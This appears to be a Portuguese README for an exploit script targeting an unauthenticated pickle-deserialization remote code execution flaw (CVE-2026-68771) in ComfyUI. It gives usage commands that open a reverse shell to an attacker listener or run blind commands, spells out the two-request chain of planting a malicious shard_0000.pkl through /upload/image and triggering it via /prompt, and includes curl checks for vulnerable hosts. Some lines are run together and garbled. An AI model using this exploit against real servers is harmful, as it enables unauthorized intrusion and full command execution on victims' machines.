
Exploit não autenticado para CVE-2026-68771, um RCE por desserialização de pickle no ComfyUI. Planta um shard forjado via /upload/image, aciona-o por meio de /prompt e executa comandos ou abre um shell reverso.
Execução remota de código não autenticada no ComfyUI
por meio do nó LoadTrainingDataset.
LoadTrainingDataset.execute() carrega shards de dataset do diretório de saída do servidor com
torch.load(f) e sem weights_only=True. No PyTorch < 2.6 (onde weights_only
assume o padrão False) um shard_*.pkl propositalmente criado executa seu __reduce__ de pickle no carregamento (CWE-502).
O ComfyUI é distribuído sem autenticação, e a rota /upload/image (com type=output)
grava os bytes enviados em estado bruto sem verificar a extensão, de modo que um .pkl pode ser plantado e
acionado em duas requisições não autenticadas.
0.23.0 no PyTorch < 2.68188 (sem autenticação)Somente a biblioteca padrão do Python 3 — sem dependências.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
O comando é executado no servidor; sua saída não é retornada, então use --shell para obter um reverse shell
(ou grave em um caminho legível) para observar o resultado.
Duas requisições não autenticadas:
Plantio — POST /upload/image com type=output, subfolder=training_dataset, nome de arquivo
shard_0000.pkl. A rota /upload/image grava os bytes em estado bruto (sem processamento de imagem nesse
caminho), então o pickle é armazenado exatamente como enviado em output/training_dataset/shard_0000.pkl. O __reduce__
do pickle retorna (os.system, (cmd,)).
Acionamento — POST /prompt com um workflow: um nó LoadTrainingDataset
(folder_name=training_dataset) conectado a um nó de saída SaveLatent. O nó de saída força
o ComfyUI a executar LoadTrainingDataset, que faz glob de e chama:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only assume o padrão True e o unpickler restrito
rejeita os.system.Somente para testes de segurança autorizados e fins educacionais. Use-o apenas contra sistemas que você possui ou tem permissão explícita para testar.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
O __reduce__ do pickle executa os.system(cmd) durante a desserialização.